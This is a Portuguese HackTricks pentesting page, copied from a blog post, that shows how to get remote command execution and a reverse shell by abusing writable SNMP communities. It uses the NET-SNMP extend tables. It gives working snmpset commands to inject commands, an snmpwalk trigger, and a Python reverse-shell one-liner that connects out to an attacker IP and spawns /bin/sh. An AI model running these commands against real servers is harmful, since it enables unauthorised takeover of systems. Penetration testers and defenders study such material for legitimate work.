hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

5.7 KiB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Este post foi copiado de https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/

O SNMP é por vezes negligenciado pelo administrador do dispositivo ou servidor onde é deixado numa configuração padrão. A comunidade SNMP com permissões de escrita (rwcommunity) no sistema operacional Linux pode ser explorada para permitir que o atacante execute um comando no servidor.

Extendendo os Serviços

Embora você não possa modificar entradas existentes que foram configuradas no snmpd.conf, é possível adicionar comandos adicionais via SNMP, porque a configuração de permissão “MAX-ACCESS” na definição MIB está definida como “read-create

Adicionar um novo comando basicamente funciona anexando uma linha adicional à tabela “nsExtendObjects”.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Injetando um comando para ser executado no serviço SNMP. NET-SNMP-EXTEND-MIB exige que você sempre forneça o caminho absoluto para o executável. O binário/script chamado também deve existir e ser executável.

Executando o comando que injetamos no SNMP ao enumerá-lo usando snmpwalk

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Mostrando que o comando é /bin/echo.

O comando será executado quando for lido. run-on-read()

O comando /bin/echo "hello rio is here" foi executado durante nossa leitura snmpwalk

Obtendo o Shell do Net-SNMP Extend

Nesta seção, gostaria de discutir como obter um shell de servidor para controlar o servidor.

Você pode usar o script python desenvolvido por mxrch que pode ser baixado de https://github.com/mxrch/snmp-shell.git

Você pode instalar o pré-requisito para executar isso:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Criando shell reverso

Você também pode criar um shell reverso manualmente injetando o comando abaixo no SNMP

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
execute o snmpwalk para acionar a execução do comando

![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)

Nosso netcat recebe a conexão reverseshell da vítima que nos permite ganhar controle sobre a máquina da vítima

![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)

![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>